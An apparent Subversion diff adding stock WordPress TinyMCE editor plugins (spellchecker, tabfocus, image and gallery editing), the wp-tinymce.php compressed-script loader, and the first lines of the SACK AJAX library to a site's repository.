g=this.editor,m=g.dom,i=this.webKitFontSizes,f=this.namedFontSizes,j=g.settings,h,k;if(m.getAttrib(l,"mce_fixed")){return}if(l.nodeName=="SPAN"&&l.className=="Apple-style-span"){h=l.style;if(!j.convert_fonts_to_spans){if(h.fontSize){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"size",b(i,h.fontSize)+1)}if(h.fontFamily){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"face",h.fontFamily)}if(h.color){m.setAttrib(l,"mce_name","font");m.setAttrib(l,"color",m.toHex(h.color))}if(h.backgroundColor){m.setAttrib(l,"mce_name","font");m.setStyle(l,"background-color",h.backgroundColor)}}else{if(h.fontSize){m.setStyle(l,"fontSize",f[b(i,h.fontSize)])}}if(h.fontWeight=="bold"){m.setAttrib(l,"mce_name","strong")}if(h.fontStyle=="italic"){m.setAttrib(l,"mce_name","em")}if(h.textDecoration=="underline"){m.setAttrib(l,"mce_name","u")}if(h.textDecoration=="line-through"){m.setAttrib(l,"mce_name","strike")}if(h.verticalAlign=="super"){m.setAttrib(l,"mce_name","sup")}if(h.verticalAlign=="sub"){m.setAttrib(l,"mce_name","sub")}m.setAttrib(l,"mce_fixed","1")}},_insertBR:function(f){var j=f.dom,h=f.selection,i=h.getRng(),g;i.insertNode(g=j.create("br"));i.setStartAfter(g);i.setEndAfter(g);h.setRng(i);if(h.getSel().focusNode==g.previousSibling){h.select(j.insertAfter(j.doc.createTextNode("\u00a0"),g));h.collapse(1)}f.getWin().scrollTo(0,j.getPos(h.getRng().startContainer).y)}});tinymce.PluginManager.add("safari",tinymce.plugins.Safari)})();
+// plugins/spellchecker
+(function(){var JSONRequest=tinymce.util.JSONRequest,each=tinymce.each,DOM=tinymce.DOM;tinymce.create('tinymce.plugins.SpellcheckerPlugin',{getInfo:function(){return{longname:'Spellchecker',author:'Moxiecode Systems AB',authorurl:'http://tinymce.moxiecode.com',infourl:'http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/spellchecker',version:tinymce.majorVersion+"."+tinymce.minorVersion};},init:function(ed,url){var t=this,cm;t.url=url;t.editor=ed;ed.addCommand('mceSpellCheck',function(){if(!t.active){ed.setProgressState(1);t._sendRPC('checkWords',[t.selectedLang,t._getWords()],function(r){if(r.length>0){t.active=1;t._markWords(r);ed.setProgressState(0);ed.nodeChanged();}else{ed.setProgressState(0);ed.windowManager.alert('spellchecker.no_mpell');}});}else t._done();});ed.onInit.add(function(){if(ed.settings.content_css!==false)ed.dom.loadCSS(url+'/css/content.css');});ed.onClick.add(t._showMenu,t);ed.onContextMenu.add(t._showMenu,t);ed.onBeforeGetContent.add(function(){if(t.active)t._removeWords();});ed.onNodeChange.add(function(ed,cm){cm.setActive('spellchecker',t.active);});ed.onSetContent.add(function(){t._done();});ed.onBeforeGetContent.add(function(){t._done();});ed.onBeforeExecCommand.add(function(ed,cmd){if(cmd=='mceFullScreen')t._done();});t.languages={};each(ed.getParam('spellchecker_languages','+English=en,Danish=da,Dutch=nl,Finnish=fi,French=fr,German=de,Italian=it,Polish=pl,Portuguese=pt,Spanish=es,Swedish=sv','hash'),function(v,k){if(k.indexOf('+')===0){k=k.substring(1);t.selectedLang=v;}t.languages[k]=v;});},createControl:function(n,cm){var t=this,c,ed=t.editor;if(n=='spellchecker'){c=cm.createSplitButton(n,{title:'spellchecker.desc',cmd:'mceSpellCheck',scope:t});c.onRenderMenu.add(function(c,m){m.add({title:'spellchecker.langs','class':'mceMenuItemTitle'}).setDisabled(1);each(t.languages,function(v,k){var o={icon:1},mi;o.onclick=function(){mi.setSelected(1);t.selectedItem.setSelected(0);t.selectedItem=mi;t.selectedLang=v;};o.title=k;mi=m.add(o);mi.setSelected(v==t.selectedLang);if(v==t.selectedLang)t.selectedItem=mi;})});return c;}},_walk:function(n,f){var d=this.editor.getDoc(),w;if(d.createTreeWalker){w=d.createTreeWalker(n,NodeFilter.SHOW_TEXT,null,false);while((n=w.nextNode())!=null)f.call(this,n);}else tinymce.walk(n,f,'childNodes');},_getSeparators:function(){var re='',i,str=this.editor.getParam('spellchecker_word_separator_chars','\\s!"#$%&()*+,-./:;<=>?@[\]^_{|}ï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œï¿œ\u201d\u201c');for(i=0;i<str.length;i++)re+='\\'+str.charAt(i);return re;},_getWords:function(){var ed=this.editor,wl=[],tx='',lo={};this._walk(ed.getBody(),function(n){if(n.nodeType==3)tx+=n.nodeValue+' ';});tx=tx.replace(new RegExp('([0-9]|['+this._getSeparators()+'])','g'),' ');tx=tinymce.trim(tx.replace(/(\s+)/g,' '));each(tx.split(' '),function(v){if(!lo[v]){wl.push(v);lo[v]=1;}});return wl;},_removeWords:function(w){var ed=this.editor,dom=ed.dom,se=ed.selection,b=se.getBookmark();each(dom.select('span').reverse(),function(n){if(n&&(dom.hasClass(n,'mceItemHiddenSpellWord')||dom.hasClass(n,'mceItemHidden'))){if(!w||dom.decode(n.innerHTML)==w)dom.remove(n,1);}});se.moveToBookmark(b);},_markWords:function(wl){var r1,r2,r3,r4,r5,w='',ed=this.editor,re=this._getSeparators(),dom=ed.dom,nl=[];var se=ed.selection,b=se.getBookmark();each(wl,function(v){w+=(w?'|':'')+v;});r1=new RegExp('(['+re+'])('+w+')(['+re+'])','g');r2=new RegExp('^('+w+')','g');r3=new RegExp('('+w+')(['+re+']?)$','g');r4=new RegExp('^('+w+')(['+re+']?)$','g');r5=new RegExp('('+w+')(['+re+'])','g');this._walk(this.editor.getBody(),function(n){if(n.nodeType==3){nl.push(n);}});each(nl,function(n){var v;if(n.nodeType==3){v=n.nodeValue;if(r1.test(v)||r2.test(v)||r3.test(v)||r4.test(v)){v=dom.encode(v);v=v.replace(r5,'<span class="mceItemHiddenSpellWord">$1</span>$2');v=v.replace(r3,'<span class="mceItemHiddenSpellWord">$1</span>$2');dom.replace(dom.create('span',{'class':'mceItemHidden'},v),n);}}});se.moveToBookmark(b);},_showMenu:function(ed,e){var t=this,ed=t.editor,m=t._menu,p1,dom=ed.dom,vp=dom.getViewPort(ed.getWin());if(!m){p1=DOM.getPos(ed.getContentAreaContainer());m=ed.controlManager.createDropMenu('spellcheckermenu',{offset_x:p1.x,offset_y:p1.y,'class':'mceNoIcons'});t._menu=m;}if(dom.hasClass(e.target,'mceItemHiddenSpellWord')){m.removeAll();m.add({title:'spellchecker.wait','class':'mceMenuItemTitle'}).setDisabled(1);t._sendRPC('getSuggestions',[t.selectedLang,dom.decode(e.target.innerHTML)],function(r){m.removeAll();if(r.length>0){m.add({title:'spellchecker.sug','class':'mceMenuItemTitle'}).setDisabled(1);each(r,function(v){m.add({title:v,onclick:function(){dom.replace(ed.getDoc().createTextNode(v),e.target);t._checkDone();}});});m.addSeparator();}else m.add({title:'spellchecker.no_sug','class':'mceMenuItemTitle'}).setDisabled(1);m.add({title:'spellchecker.ignore_word',onclick:function(){dom.remove(e.target,1);t._checkDone();}});m.add({title:'spellchecker.ignore_words',onclick:function(){t._removeWords(dom.decode(e.target.innerHTML));t._checkDone();}});m.update();});ed.selection.select(e.target);p1=dom.getPos(e.target);m.showMenu(p1.x,p1.y+e.target.offsetHeight-vp.y);return tinymce.dom.Event.cancel(e);}else m.hideMenu();},_checkDone:function(){var t=this,ed=t.editor,dom=ed.dom,o;each(dom.select('span'),function(n){if(n&&dom.hasClass(n,'mceItemHiddenSpellWord')){o=true;return false;}});if(!o)t._done();},_done:function(){var t=this,la=t.active;if(t.active){t.active=0;t._removeWords();if(t._menu)t._menu.hideMenu();if(la)t.editor.nodeChanged();}},_sendRPC:function(m,p,cb){var t=this,url=t.editor.getParam("spellchecker_rpc_url",this.url+'/rpc.php');if(url=='{backend}'){t.editor.setProgressState(0);alert('Please specify: spellchecker_rpc_url');return;}JSONRequest.sendRPC({url:url,method:m,params:p,success:cb,error:function(e,x){t.editor.setProgressState(0);t.editor.windowManager.alert(e.errstr||('Error response: '+x.responseText));}});}});tinymce.PluginManager.add('spellchecker',tinymce.plugins.SpellcheckerPlugin);})();
+// plugins/tabfocus
+(function(){var c=tinymce.DOM,a=tinymce.dom.Event,d=tinymce.each,b=tinymce.explode;tinymce.create("tinymce.plugins.TabFocusPlugin",{init:function(f,g){function e(i,j){if(j.keyCode===9){return a.cancel(j)}}function h(l,p){var j,m,o,n,k;function q(i){o=c.getParent(l.id,"form");n=o.elements;if(o){d(n,function(s,r){if(s.id==l.id){j=r;return false}});if(i>0){for(m=j+1;m<n.length;m++){if(n[m].type!="hidden"){return n[m]}}}else{for(m=j-1;m>=0;m--){if(n[m].type!="hidden"){return n[m]}}}}return null}if(p.keyCode===9){k=b(l.getParam("tab_focus",l.getParam("tabfocus_elements",":prev,:next")));if(k.length==1){k[1]=k[0];k[0]=":prev"}if(p.shiftKey){if(k[0]==":prev"){n=q(-1)}else{n=c.get(k[0])}}else{if(k[1]==":next"){n=q(1)}else{n=c.get(k[1])}}if(n){if(l=tinymce.EditorManager.get(n.id||n.name)){l.focus()}else{window.setTimeout(function(){window.focus();n.focus()},10)}return a.cancel(p)}}}f.onKeyUp.add(e);if(tinymce.isGecko){f.onKeyPress.add(h);f.onKeyDown.add(e)}else{f.onKeyDown.add(h)}f.onInit.add(function(){d(c.select("a:first,a:last",f.getContainer()),function(i){a.add(i,"focus",function(){f.focus()})})})},getInfo:function(){return{longname:"Tabfocus",author:"Moxiecode Systems AB",authorurl:"http://tinymce.moxiecode.com",infourl:"http://wiki.moxiecode.com/index.php/TinyMCE:Plugins/tabfocus",version:tinymce.majorVersion+"."+tinymce.minorVersion}}});tinymce.PluginManager.add("tabfocus",tinymce.plugins.TabFocusPlugin)})();
+// plugins/wordpress
+(function(){var a=tinymce.DOM;tinymce.create("tinymce.plugins.WordPress",{init:function(c,d){var e=this,h=c.getParam("wordpress_adv_toolbar","toolbar2"),g=0,f,b;f='<img src="'+d+'/img/trans.gif" class="mceWPmore mceItemNoResize" title="'+c.getLang("wordpress.wp_more_alt")+'" />';b='<img src="'+d+'/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+c.getLang("wordpress.wp_page_alt")+'" />';if(getUserSetting("hidetb","0")=="1"){c.settings.wordpress_adv_hidden=0}c.onPostRender.add(function(){if(c.getParam("wordpress_adv_hidden",1)){a.hide(c.controlManager.get(h).id);e._resizeIframe(c,h,28)}});c.addCommand("WP_More",function(){c.execCommand("mceInsertContent",0,f)});c.addCommand("WP_Page",function(){c.execCommand("mceInsertContent",0,b)});c.addCommand("WP_Help",function(){c.windowManager.open({url:tinymce.baseURL+"/wp-mce-help.php",width:450,height:420,inline:1})});c.addCommand("WP_Adv",function(){var j=c.controlManager.get(h).id,i=c.controlManager;if(a.isHidden(j)){i.setActive("wp_adv",1);a.show(j);e._resizeIframe(c,h,-28);c.settings.wordpress_adv_hidden=0;setUserSetting("hidetb","1")}else{i.setActive("wp_adv",0);a.hide(j);e._resizeIframe(c,h,28);c.settings.wordpress_adv_hidden=1;setUserSetting("hidetb","0")}});c.addButton("wp_more",{title:"wordpress.wp_more_desc",image:d+"/img/more.gif",cmd:"WP_More"});c.addButton("wp_page",{title:"wordpress.wp_page_desc",image:d+"/img/page.gif",cmd:"WP_Page"});c.addButton("wp_help",{title:"wordpress.wp_help_desc",image:d+"/img/help.gif",cmd:"WP_Help"});c.addButton("wp_adv",{title:"wordpress.wp_adv_desc",image:d+"/img/toolbars.gif",cmd:"WP_Adv"});c.addButton("add_media",{title:"wordpress.add_media",image:d+"/img/media.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_media").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_image",{title:"wordpress.add_image",image:d+"/img/image.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_image").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_video",{title:"wordpress.add_video",image:d+"/img/video.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_video").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.addButton("add_audio",{title:"wordpress.add_audio",image:d+"/img/audio.gif",onclick:function(){tb_show("",tinymce.DOM.get("add_audio").href);tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")}});c.onBeforeExecCommand.add(function(i,k,j,l){if("mceFullScreen"!=k){return}if("mce_fullscreen"!=i.id){i.settings.theme_advanced_buttons1+=",|,add_image,add_video,add_audio,add_media"}});c.addCommand("JustifyLeft",function(){var i=c.selection.getNode();if(i.nodeName!="IMG"){c.editorCommands.mceJustify("JustifyLeft","left")}else{c.plugins.wordpress.do_align(i,"alignleft")}});c.addCommand("JustifyRight",function(){var i=c.selection.getNode();if(i.nodeName!="IMG"){c.editorCommands.mceJustify("JustifyRight","right")}else{c.plugins.wordpress.do_align(i,"alignright")}});c.addCommand("JustifyCenter",function(){var k=c.selection.getNode(),j=c.dom.getParent(k,"p"),i=c.dom.getParent(k,"dl");if(k.nodeName=="IMG"&&(j||i)){c.plugins.wordpress.do_align(k,"aligncenter")}else{c.editorCommands.mceJustify("JustifyCenter","center")}});if("undefined"!=typeof wpWordCount){c.onKeyUp.add(function(i,j){if(j.keyCode==g){return}if(13==j.keyCode||8==g||46==g){wpWordCount.wc(i.getContent({format:"raw"}))}g=j.keyCode})}e._handleMoreBreak(c,d);c.addShortcut("alt+shift+c",c.getLang("justifycenter_desc"),"JustifyCenter");c.addShortcut("alt+shift+r",c.getLang("justifyright_desc"),"JustifyRight");c.addShortcut("alt+shift+l",c.getLang("justifyleft_desc"),"JustifyLeft");c.addShortcut("alt+shift+j",c.getLang("justifyfull_desc"),"JustifyFull");c.addShortcut("alt+shift+q",c.getLang("blockquote_desc"),"mceBlockQuote");c.addShortcut("alt+shift+u",c.getLang("bullist_desc"),"InsertUnorderedList");c.addShortcut("alt+shift+o",c.getLang("numlist_desc"),"InsertOrderedList");c.addShortcut("alt+shift+d",c.getLang("striketrough_desc"),"Strikethrough");c.addShortcut("alt+shift+n",c.getLang("spellchecker.desc"),"mceSpellCheck");c.addShortcut("alt+shift+a",c.getLang("link_desc"),"mceLink");c.addShortcut("alt+shift+s",c.getLang("unlink_desc"),"unlink");c.addShortcut("alt+shift+m",c.getLang("image_desc"),"mceImage");c.addShortcut("alt+shift+g",c.getLang("fullscreen.desc"),"mceFullScreen");c.addShortcut("alt+shift+z",c.getLang("wp_adv_desc"),"WP_Adv");c.addShortcut("alt+shift+h",c.getLang("help_desc"),"WP_Help");c.addShortcut("alt+shift+t",c.getLang("wp_more_desc"),"WP_More");c.addShortcut("alt+shift+p",c.getLang("wp_page_desc"),"WP_Page");c.addShortcut("ctrl+s",c.getLang("save_desc"),function(){if("function"==typeof autosave){autosave()}});if(tinymce.isWebKit){c.addShortcut("alt+shift+b",c.getLang("bold_desc"),"Bold");c.addShortcut("alt+shift+i",c.getLang("italic_desc"),"Italic")}},getInfo:function(){return{longname:"WordPress Plugin",author:"WordPress",authorurl:"http://wordpress.org",infourl:"http://wordpress.org",version:"3.0"}},do_align:function(j,d){var h,f,g,b,i,e=tinyMCE.activeEditor;if(/^(mceItemFlash|mceItemShockWave|mceItemWindowsMedia|mceItemQuickTime|mceItemRealMedia)$/.test(j.className)){return}h=e.dom.getParent(j,"p");f=e.dom.getParent(j,"dl");g=e.dom.getParent(j,"div");if(f&&g){b=e.dom.hasClass(f,d)?"alignnone":d;f.className=f.className.replace(/align[^ '"]+\s?/g,"");e.dom.addClass(f,b);i=(b=="aligncenter")?e.dom.addClass(g,"mceIEcenter"):e.dom.removeClass(g,"mceIEcenter")}else{if(h){b=e.dom.hasClass(j,d)?"alignnone":d;j.className=j.className.replace(/align[^ '"]+\s?/g,"");e.dom.addClass(j,b);if(b=="aligncenter"){e.dom.setStyle(h,"textAlign","center")}else{if(h.style&&h.style.textAlign=="center"){e.dom.setStyle(h,"textAlign","")}}}}e.execCommand("mceRepaint")},_resizeIframe:function(c,e,b){var d=c.getContentAreaContainer().firstChild;a.setStyle(d,"height",d.clientHeight+b);c.theme.deltaHeight+=b},_handleMoreBreak:function(c,d){var e,b;e='<img src="'+d+'/img/trans.gif" alt="$1" class="mceWPmore mceItemNoResize" title="'+c.getLang("wordpress.wp_more_alt")+'" />';b='<img src="'+d+'/img/trans.gif" class="mceWPnextpage mceItemNoResize" title="'+c.getLang("wordpress.wp_page_alt")+'" />';c.onInit.add(function(){c.dom.loadCSS(d+"/css/content.css")});c.onPostRender.add(function(){if(c.theme.onResolveName){c.theme.onResolveName.add(function(f,g){if(g.node.nodeName=="IMG"){if(c.dom.hasClass(g.node,"mceWPmore")){g.name="wpmore"}if(c.dom.hasClass(g.node,"mceWPnextpage")){g.name="wppage"}}})}});c.onBeforeSetContent.add(function(f,g){g.content=g.content.replace(/<!--more(.*?)-->/g,e);g.content=g.content.replace(/<!--nextpage-->/g,b)});c.onPostProcess.add(function(f,g){if(g.get){g.content=g.content.replace(/<img[^>]+>/g,function(i){if(i.indexOf('class="mceWPmore')!==-1){var h,j=(h=i.match(/alt="(.*?)"/))?h[1]:"";i="<!--more"+j+"-->"}if(i.indexOf('class="mceWPnextpage')!==-1){i="<!--nextpage-->"}return i})}});c.onNodeChange.add(function(g,f,h){f.setActive("wp_page",h.nodeName==="IMG"&&g.dom.hasClass(h,"mceWPnextpage"));f.setActive("wp_more",h.nodeName==="IMG"&&g.dom.hasClass(h,"mceWPmore"))})}});tinymce.PluginManager.add("wordpress",tinymce.plugins.WordPress)})();
+// plugins/wpeditimage
+(function(){tinymce.create("tinymce.plugins.wpEditImage",{init:function(a,b){var c=this;c.url=b;c._createButtons();a.addCommand("WP_EditImage",function(){var h=a.selection.getNode(),f=tinymce.DOM.getViewPort(),g=f.h,d=(720<f.w)?720:f.w,e=a.dom.getAttrib(h,"class");if(e.indexOf("mceItem")!=-1||e.indexOf("wpGallery")!=-1||h.nodeName!="IMG"){return}tb_show("",b+"/editimage.html?ver=321&TB_iframe=true");tinymce.DOM.setStyles("TB_window",{width:(d-50)+"px",height:(g-45)+"px","margin-left":"-"+parseInt(((d-50)/2),10)+"px"});if(!tinymce.isIE6){tinymce.DOM.setStyles("TB_window",{top:"20px",marginTop:"0"})}tinymce.DOM.setStyles("TB_iframeContent",{width:(d-50)+"px",height:(g-75)+"px"});tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")});a.onInit.add(function(d){tinymce.dom.Event.add(d.getWin(),"scroll",function(f){d.plugins.wpeditimage.hideButtons()})});a.onBeforeExecCommand.add(function(d,f,e,g){d.plugins.wpeditimage.hideButtons()});a.onSaveContent.add(function(d,e){d.plugins.wpeditimage.hideButtons()});a.onMouseUp.add(function(d,g){var h,f;if(tinymce.isOpera){if(g.target.nodeName=="IMG"){d.plugins.wpeditimage.showButtons(g.target)}}else{if(!tinymce.isWebKit){h=d.selection.getNode();if(h.nodeName=="IMG"&&(f=d.dom.getParent(h,"DL"))){window.setTimeout(function(){var e=tinyMCE.activeEditor,j=e.selection.getNode(),i=e.dom.getParent(j,"DL");if(j.width!=(parseInt(e.dom.getStyle(i,"width"))-10)){e.dom.setStyle(i,"width",parseInt(j.width)+10);e.execCommand("mceRepaint")}},100)}}}});a.onMouseDown.add(function(d,f){if(tinymce.isOpera||f.target.nodeName!="IMG"){c.hideButtons();return}d.plugins.wpeditimage.showButtons(f.target)});a.onKeyPress.add(function(d,i){var f,h,g;if(i.keyCode==13&&(f=d.dom.getParent(d.selection.getNode(),"DL"))){g=d.dom.create("p",{},"&nbsp;");if((h=f.parentNode)&&h.nodeName=="DIV"){d.dom.insertAfter(g,h)}else{d.dom.insertAfter(g,f)}tinymce.dom.Event.cancel(i);d.selection.select(g);return false}});a.onBeforeSetContent.add(function(d,e){e.content=c._do_shcode(e.content)});a.onPostProcess.add(function(d,e){if(e.get){e.content=c._get_shcode(e.content)}})},_do_shcode:function(a){return a.replace(/\[(?:wp_)?caption([^\]]+)\]([\s\S]+?)\[\/(?:wp_)?caption\][\s\u00a0]*/g,function(g,d,k){var j,f,e,h,i;d=d.replace(/\\'|\\&#39;|\\&#039;/g,"&#39;").replace(/\\"|\\&quot;/g,"&quot;");k=k.replace(/\\&#39;|\\&#039;/g,"&#39;").replace(/\\&quot;/g,"&quot;");j=d.match(/id=['"]([^'"]+)/i);f=d.match(/align=['"]([^'"]+)/i);e=d.match(/width=['"]([0-9]+)/);h=d.match(/caption=['"]([^'"]+)/i);j=(j&&j[1])?j[1]:"";f=(f&&f[1])?f[1]:"alignnone";e=(e&&e[1])?e[1]:"";h=(h&&h[1])?h[1]:"";if(!e||!h){return k}i=(f=="aligncenter")?"mceTemp mceIEcenter":"mceTemp";return'<div class="'+i+'"><dl id="'+j+'" class="wp-caption '+f+'" style="width: '+(10+parseInt(e))+'px"><dt class="wp-caption-dt">'+k+'</dt><dd class="wp-caption-dd">'+h+"</dd></dl></div>"})},_get_shcode:function(a){return a.replace(/<div class="mceTemp[^"]*">\s*<dl([^>]+)>\s*<dt[^>]+>([\s\S]+?)<\/dt>\s*<dd[^>]+>(.+?)<\/dd>\s*<\/dl>\s*<\/div>\s*/gi,function(g,d,j,h){var i,f,e;i=d.match(/id=['"]([^'"]+)/i);f=d.match(/class=['"]([^'"]+)/i);e=j.match(/width=['"]([0-9]+)/);i=(i&&i[1])?i[1]:"";f=(f&&f[1])?f[1]:"alignnone";e=(e&&e[1])?e[1]:"";if(!e||!h){return j}f=f.match(/align[^ '"]+/)||"alignnone";h=h.replace(/<\S[^<>]*>/gi,"").replace(/'/g,"&#39;").replace(/"/g,"&quot;");return'[caption id="'+i+'" align="'+f+'" width="'+e+'" caption="'+h+'"]'+j+"[/caption]"})},showButtons:function(d){var j=this,e=tinyMCE.activeEditor,g,f,a,i=tinymce.DOM,c,b,h=e.dom.getAttrib(d,"class");if(h.indexOf("mceItem")!=-1||h.indexOf("wpGallery")!=-1){return}a=e.dom.getViewPort(e.getWin());g=i.getPos(e.getContentAreaContainer());f=e.dom.getPos(d);c=Math.max(f.x-a.x,0)+g.x;b=Math.max(f.y-a.y,0)+g.y;i.setStyles("wp_editbtns",{top:b+5+"px",left:c+5+"px",display:"block"});j.btnsTout=window.setTimeout(function(){e.plugins.wpeditimage.hideButtons()},5000)},hideButtons:function(){if(tinymce.DOM.isHidden("wp_editbtns")){return}tinymce.DOM.hide("wp_editbtns");window.clearTimeout(this.btnsTout)},_createButtons:function(){var d=this,b=tinyMCE.activeEditor,e=tinymce.DOM,a,c,f;e.remove("wp_editbtns");a=e.add(document.body,"div",{id:"wp_editbtns",style:"display:none;"});c=e.add("wp_editbtns","img",{src:d.url+"/img/image.png",id:"wp_editimgbtn",width:"24",height:"24",title:b.getLang("wpeditimage.edit_img")});c.onmousedown=function(h){var g=tinyMCE.activeEditor;g.windowManager.bookmark=g.selection.getBookmark("simple");g.execCommand("WP_EditImage");this.parentNode.style.display="none"};f=e.add("wp_editbtns","img",{src:d.url+"/img/delete.png",id:"wp_delimgbtn",width:"24",height:"24",title:b.getLang("wpeditimage.del_img")});f.onmousedown=function(j){var g=tinyMCE.activeEditor,h=g.selection.getNode(),i;if(h.nodeName=="IMG"&&g.dom.getAttrib(h,"class").indexOf("mceItem")==-1){if((i=g.dom.getParent(h,"div"))&&g.dom.hasClass(i,"mceTemp")){g.dom.remove(i)}else{if((i=g.dom.getParent(h,"A"))&&i.childNodes.length==1){g.dom.remove(i)}else{g.dom.remove(h)}}this.parentNode.style.display="none";g.execCommand("mceRepaint");return false}}},getInfo:function(){return{longname:"Edit Image",author:"WordPress",authorurl:"http://wordpress.org",infourl:"",version:"1.0"}}});tinymce.PluginManager.add("wpeditimage",tinymce.plugins.wpEditImage)})();
+// plugins/wpgallery
+(function(){tinymce.create("tinymce.plugins.wpGallery",{init:function(a,b){var c=this;c.url=b;c._createButtons();a.addCommand("WP_Gallery",function(){var e=a.selection.getNode(),d;if(e.nodeName!="IMG"){return}if(a.dom.getAttrib(e,"class").indexOf("wpGallery")==-1){return}d=tinymce.DOM.get("post_ID").value;tb_show("",tinymce.documentBaseURL+"/media-upload.php?post_id="+d+"&tab=gallery&TB_iframe=true");tinymce.DOM.setStyle(["TB_overlay","TB_window","TB_load"],"z-index","999999")});a.onInit.add(function(d){tinymce.dom.Event.add(d.getWin(),"scroll",function(f){d.plugins.wpgallery.hideButtons()})});a.onBeforeExecCommand.add(function(d,f,e,g){d.plugins.wpgallery.hideButtons()});a.onSaveContent.add(function(d,e){d.plugins.wpgallery.hideButtons()});a.onMouseUp.add(function(d,f){if(tinymce.isOpera){if(f.target.nodeName=="IMG"){d.plugins.wpgallery.showButtons(f.target)}}});a.onMouseDown.add(function(d,f){if(tinymce.isOpera||f.target.nodeName!="IMG"){c.hideButtons();return}d.plugins.wpgallery.showButtons(f.target)});a.onBeforeSetContent.add(function(d,e){e.content=c._do_gallery(e.content)});a.onPostProcess.add(function(d,e){if(e.get){e.content=c._get_gallery(e.content)}})},_do_gallery:function(a){return a.replace(/\[gallery([^\]]*)\]/g,function(d,c){return'<img src="'+tinymce.baseURL+'/plugins/wpgallery/img/t.gif" class="wpGallery mceItem" title="gallery'+tinymce.DOM.encode(c)+'" />'})},_get_gallery:function(b){function a(c,d){d=new RegExp(d+'="([^"]+)"',"g").exec(c);return d?tinymce.DOM.decode(d[1]):""}return b.replace(/(?:<p[^>]*>)*(<img[^>]+>)(?:<\/p>)*/g,function(e,d){var c=a(d,"class");if(c.indexOf("wpGallery")!=-1){return"<p>["+tinymce.trim(a(d,"title"))+"]</p>"}return e})},showButtons:function(d){var i=this,e=tinyMCE.activeEditor,g,f,a,h=tinymce.DOM,c,b;if(e.dom.getAttrib(d,"class").indexOf("wpGallery")==-1){return}a=e.dom.getViewPort(e.getWin());g=h.getPos(e.getContentAreaContainer());f=e.dom.getPos(d);c=Math.max(f.x-a.x,0)+g.x;b=Math.max(f.y-a.y,0)+g.y;h.setStyles("wp_gallerybtns",{top:b+5+"px",left:c+5+"px",display:"block"});i.btnsTout=window.setTimeout(function(){e.plugins.wpgallery.hideButtons()},5000)},hideButtons:function(){if(tinymce.DOM.isHidden("wp_gallerybtns")){return}tinymce.DOM.hide("wp_gallerybtns");window.clearTimeout(this.btnsTout)},_createButtons:function(){var d=this,b=tinyMCE.activeEditor,e=tinymce.DOM,c,f,a;e.remove("wp_gallerybtns");c=e.add(document.body,"div",{id:"wp_gallerybtns",style:"display:none;"});f=e.add("wp_gallerybtns","img",{src:d.url+"/img/edit.png",id:"wp_editgallery",width:"24",height:"24",title:b.getLang("wordpress.editgallery")});f.onmousedown=function(h){var g=tinyMCE.activeEditor;g.windowManager.bookmark=g.selection.getBookmark("simple");g.execCommand("WP_Gallery");this.parentNode.style.display="none"};a=e.add("wp_gallerybtns","img",{src:d.url+"/img/delete.png",id:"wp_delgallery",width:"24",height:"24",title:b.getLang("wordpress.delgallery")});a.onmousedown=function(i){var g=tinyMCE.activeEditor,h=g.selection.getNode();if(h.nodeName=="IMG"&&g.dom.getAttrib(h,"class").indexOf("wpGallery")!=-1){g.dom.remove(h);this.parentNode.style.display="none";g.execCommand("mceRepaint");return false}}},getInfo:function(){return{longname:"Gallery Settings",author:"WordPress",authorurl:"http://wordpress.org",infourl:"",version:"1.0"}}});tinymce.PluginManager.add("wpgallery",tinymce.plugins.wpGallery)})();
+// mark as loaded
+tinyMCEPreInit.go=function(){var b=this,a=tinymce.ScriptLoader,f=b.mceInit.language,e=b.mceInit.theme,c=b.mceInit.plugins,d=b.suffix;a.markDone(b.base+"/langs/"+f+".js");a.markDone(b.base+"/themes/"+e+"/editor_template"+d+".js");a.markDone(b.base+"/themes/"+e+"/langs/"+f+".js");a.markDone(b.base+"/themes/"+e+"/langs/"+f+"_dlg.js");tinymce.each(c.split(","),function(g){if(g&&g.charAt(0)!="-"){a.markDone(b.base+"/plugins/"+g+"/editor_plugin"+d+".js");a.markDone(b.base+"/plugins/"+g+"/langs/"+f+".js");a.markDone(b.base+"/plugins/"+g+"/langs/"+f+"_dlg.js")}})};
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-tinymce.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-tinymce.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tinymce/wp-tinymce.php	(revision 44)
@@ -0,0 +1,29 @@
+<?php
+
+$basepath = dirname(__FILE__);
+
+function get_file($path) {
+
+	if ( function_exists('realpath') )
+		$path = realpath($path);
+
+	if ( ! $path || ! @is_file($path) )
+		return false;
+
+	return @file_get_contents($path);
+}
+
+$expires_offset = 31536000;
+
+header('Content-Type: application/x-javascript; charset=UTF-8');
+header('Vary: Accept-Encoding'); // Handle proxies
+header('Expires: ' . gmdate( "D, d M Y H:i:s", time() + $expires_offset ) . ' GMT');
+header("Cache-Control: public, max-age=$expires_offset");
+
+if ( isset($_GET['c']) && 1 == $_GET['c'] && false !== strpos( strtolower($_SERVER['HTTP_ACCEPT_ENCODING']), 'gzip') && ( $file = get_file($basepath . '/wp-tinymce.js.gz') ) ) {
+	header('Content-Encoding: gzip');
+	echo $file;
+} else {
+	echo get_file($basepath . '/wp-tinymce.js');
+}
+exit;
Index: /trunk/www.guidonia.net/wp/wp-includes/js/tw-sack.dev.js
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/js/tw-sack.dev.js	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/js/tw-sack.dev.js	(revision 44)
@@ -0,0 +1,193 @@
+/* Simple AJAX Code-Kit (SACK) v1.6.1 */
+/* ©2005 Gregory Wild-Smith */
+/* www.twilightuniverse.com */
